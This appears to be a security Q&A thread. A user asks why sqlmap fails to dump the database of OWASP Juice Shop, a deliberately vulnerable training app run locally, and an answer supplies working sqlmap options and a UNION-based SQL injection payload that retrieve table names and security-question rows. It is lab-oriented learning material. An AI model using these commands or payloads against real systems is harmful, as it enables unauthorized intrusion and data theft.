4

I cannot seem to get sqlmap to successfully exploit and retrieve schema information from OWASP's deliberately vulnerable Juice Shop web application.

I've tried to be very specific in my sqlmap command line options to help it along, but it still refuses to cooperate. This is the command that appeared to get me closest:

python .\sqlmap.py -u 'http://localhost:3000/rest/product/search?q=' -p 'q' --level=3 --risk=3 --dbms="sqlite" --dump-all --technique U --union-cols 8

(I did try --prefix and --suffix .)

This generates:

        ___
       __H__
 ___ ___[']_____ ___ ___  {1.3.4.4#dev}
|_ -| . [(]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:04:29 /2019-04-11/

[15:04:29] [INFO] setting file for logging HTTP traffic
[15:04:29] [WARNING] provided value for parameter 'q' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[15:04:29] [INFO] testing connection to the target URL
[15:04:29] [INFO] checking if the target is protected by some kind of WAF/IPS
[15:04:29] [WARNING] heuristic (basic) test shows that GET parameter 'q' might not be injectable
[15:04:29] [INFO] testing for SQL injection on GET parameter 'q'
[15:04:29] [INFO] testing 'Generic UNION query (NULL) - 8 to 8 columns (custom)'
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] 
[15:04:41] [INFO] GET parameter 'q' is 'Generic UNION query (NULL) - 8 to 8 columns (custom)' injectable
[15:04:41] [INFO] checking if the injection point on GET parameter 'q' is a false positive
[15:04:42] [WARNING] parameter length constraining mechanism detected (e.g. Suhosin patch). Potential problems in enumeration phase can be expected
GET parameter 'q' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 277 HTTP(s) requests:
---
Parameter: q (GET)
    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns (custom)
    Payload: q=')) UNION ALL SELECT NULL,NULL,NULL,'qxxzq'||'LlkaVrDwPonWdigiXmqckYvJPXMWbHsyWktSKLUe'||'qzxbq',NULL,NULL,NULL,NULL-- BdIT
---
[15:04:46] [INFO] testing SQLite
[15:04:46] [INFO] confirming SQLite
[15:04:46] [INFO] actively fingerprinting SQLite
[15:04:46] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[15:04:46] [INFO] sqlmap will dump entries of all tables from all databases now
[15:04:46] [INFO] fetching tables for database: 'SQLite_masterdb'
[15:04:46] [WARNING] the SQL query provided does not return any output
[15:04:46] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[15:04:46] [ERROR] unable to retrieve the table names for any database
do you want to use common table existence check? [y/N/q] 
[15:04:51] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 264 times
[15:04:51] [INFO] fetched data logged to text files under 'C:\Users\james.keeler\AppData\Local\sqlmap\output\localhost'

[*] ending @ 15:04:51 /2019-04-11/

You can see it recognizes the 'q' parameter as vulnerable but it can't properly inject a payload that doesn't create a 500 error.

This is the vulnerable query that comes back on the error pages:

SELECT * FROM Products WHERE ((name LIKE '%[INJECTION POINT]%' OR description LIKE '%[INJECTION POINT]%') AND deletedAt IS NULL) ORDER BY name

If the query doesn't crash, valid responses look like this:

{"status":"success","data":[{"id":1,"name":"Apple Juice (1000ml)","description":"The all-time classic.","price":1.99,"image":"apple_juice.jpg","createdAt":"2019-04-09 20:42:47.955 +00:00","updatedAt":"2019-04-09 20:42:47.955 +00:00","deletedAt":null},{"id":24,"name":"Apple Pomace","description":"Finest pressings of apples. Allergy disclaimer: Might contain traces of worms. Can be <a href=\"/#recycle\">sent back to us</a> for recycling.","price":0.89,"image":"apple_pressings.jpg","createdAt":"2019-04-09 20:42:47.956 +00:00","updatedAt":"2019-04-09 20:42:47.956 +00:00","deletedAt":null}]}

I also tried debugging sqlmap with PyCharm so I could walk through the logic. I spent several hours on this, but there are so many requests and caching that I found myself hopelessly lost. I did find that when the union techniques were executed they produced invalid SQL. The payload seemed to be repeated multiple times. I couldn't tell if it was sqlmap or the fact that the query has two injection points.

And finally, I tried configuring a custom payload in the xml/paylods/union_query.xml configuration file. I couldn't find any really good documentation or examples other than what was already in the file. Using the --test-filter option (I think) I was able to specify my custom payload, but I still received this warning: [14:39:29] [WARNING] the SQL query provided does not return any output.

What am I doing wrong?

Reproduction Steps

There are several ways to get Juice Shop running, but the easiest is with Docker. You can recreate my issue with the following commands:

  • docker pull bkimminich/juice-shop
  • docker run --rm -p 3000:3000 bkimminich/juice-shop
  • sqlmap -u 'http://localhost:3000/rest/product/search?q=' -p 'q' --level=3 --risk=3 --dbms="sqlite" --dump-all --technique U --union-cols 8
schroeder
  • 123,438
  • 55
  • 284
  • 319
jkeeler
  • 143
  • 1
  • 6

1 Answers1

2

I ran into a similar issue.

  • juice-shop: v9.0.1
  • sqlmap: 1.3.9.13#dev

Command:

python2 sqlmap.py -u 'http://localhost:3000/rest/products/search?q=test' -p 'q' --dbms="sqlite" --technique U --prefix "')) " --level 5 --risk 3 --dump-all --no-cast --no-escape --flush

Output:

[17:03:07] [INFO] flushing session file
[17:03:07] [INFO] testing connection to the target URL
[17:03:07] [INFO] checking if the target is protected by some kind of WAF/IPS
[17:03:07] [WARNING] heuristic (basic) test shows that GET parameter 'q' might not be injectable
[17:03:07] [INFO] testing for SQL injection on GET parameter 'q'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] n
[17:03:09] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[17:03:09] [INFO] target URL appears to be UNION injectable with 9 columns
[17:03:10] [INFO] GET parameter 'q' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable
[17:03:10] [INFO] checking if the injection point on GET parameter 'q' is a false positive
[17:03:10] [WARNING] parameter length constraining mechanism detected (e.g. Suhosin patch). Potential problems in enumeration phase can be expected
sqlmap identified the following injection point(s) with a total of 44 HTTP(s) requests:
---
Parameter: q (GET)
    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: q=test'))  UNION ALL SELECT NULL,NULL,NULL,'qxkzq'||'yOJUHFUiwxhehIgjPHEYCMesiBpVDtukVbUQPyZB'||'qjpzq',NULL,NULL,NULL,NULL,NULL-- Iqfj
---
[17:03:13] [INFO] testing SQLite
[17:03:13] [INFO] confirming SQLite
[17:03:13] [INFO] actively fingerprinting SQLite
[17:03:13] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[17:03:13] [INFO] sqlmap will dump entries of all tables from all databases now
[17:03:13] [INFO] fetching tables for database: 'SQLite_masterdb'
[17:03:13] [INFO] used SQL query returns 21 entries
[17:03:13] [INFO] retrieved: 'Users'
[17:03:13] [INFO] retrieved: 'sqlite_sequence'
[17:03:13] [INFO] retrieved: 'Addresses'
[17:03:13] [INFO] retrieved: 'Baskets'
[17:03:13] [INFO] retrieved: 'Products'
[17:03:13] [INFO] retrieved: 'BasketItems'
[17:03:13] [INFO] retrieved: 'Captchas'
[17:03:13] [INFO] retrieved: 'Cards'
[17:03:13] [INFO] retrieved: 'Challenges'
[17:03:13] [INFO] retrieved: 'Complaints'
[17:03:13] [INFO] retrieved: 'Deliveries'
[17:03:13] [INFO] retrieved: 'Feedbacks'
[17:03:13] [INFO] retrieved: 'ImageCaptchas'
[17:03:13] [INFO] retrieved: 'Memories'
[17:03:13] [INFO] retrieved: 'PrivacyRequests'
[17:03:14] [INFO] retrieved: 'PurchaseQuantities'
[17:03:14] [INFO] retrieved: 'Quantities'
[17:03:14] [INFO] retrieved: 'Recycles'
[17:03:14] [INFO] retrieved: 'SecurityQuestions'
[17:03:14] [INFO] retrieved: 'SecurityAnswers'
[17:03:14] [INFO] retrieved: 'Wallets'
[17:03:14] [INFO] fetching columns for table 'SecurityQuestions' in database 'SQLite_masterdb'
[17:03:14] [INFO] fetching entries for table 'SecurityQuestions' in database 'SQLite_masterdb'
[17:03:14] [INFO] used SQL query returns 10 entries
[17:03:14] [INFO] retrieved: '2019-09-13 14:25:54.260 +00:00','1','Your eldest siblings middle name?','2019-09-13 14:25:54.260 +00:00'
[17:03:14] [INFO] retrieved: '2019-09-13 14:25:54.261 +00:00','2','Mother's maiden name?','2019-09-13 14:25:54.261 +00:00'
[17:03:14] [INFO] retrieved: '2019-09-13 14:25:54.261 +00:00','3','Mother's birth date? (MM/DD/YY)','2019-09-13 14:25:54.261 +00:00'
[17:03:14] [INFO] retrieved: '2019-09-13 14:25:54.261 +00:00','4','Father's birth date? (MM/DD/YY)','2019-09-13 14:25:54.261 +00:00'
[17:03:14] [INFO] retrieved: '2019-09-13 14:25:54.261 +00:00','5','Maternal grandmother's first name?','2019-09-13 14:25:54.261 +00:00'
[17:03:14] [INFO] retrieved: '2019-09-13 14:25:54.261 +00:00','6','Paternal grandmother's first name?','2019-09-13 14:25:54.261 +00:00'
[17:03:14] [INFO] retrieved: '2019-09-13 14:25:54.262 +00:00','7','Name of your favorite pet?','2019-09-13 14:25:54.262 +00:00'
[17:03:14] [INFO] retrieved: '2019-09-13 14:25:54.262 +00:00','8','Last name of dentist when you were a teenager? (Do not include 'D...
[17:03:14] [INFO] retrieved: '2019-09-13 14:25:54.262 +00:00','9','Your ZIP/postal code when you were a teenager?','2019-09-13 14:25...
[17:03:14] [INFO] retrieved: '2019-09-13 14:25:54.262 +00:00','10','Company you first work for as an adult?','2019-09-13 14:25:54.26...
Database: SQLite_masterdb
Table: SecurityQuestions

The main issue is that the application is truncating the payload at 200 characters so I had to use --no-cast and --no-escape.

There is still some issues when retrieving the content of large tables and you will likely see some warnings if you try to do a full dump.

[17:03:16] [WARNING] unable to retrieve the entries for table 'Baskets' in database 'SQLite_masterdb'
[17:03:16] [WARNING] possible server trimmed output detected (probably due to its length and/or content): ": syntax error
null
  • 1,193
  • 6
  • 16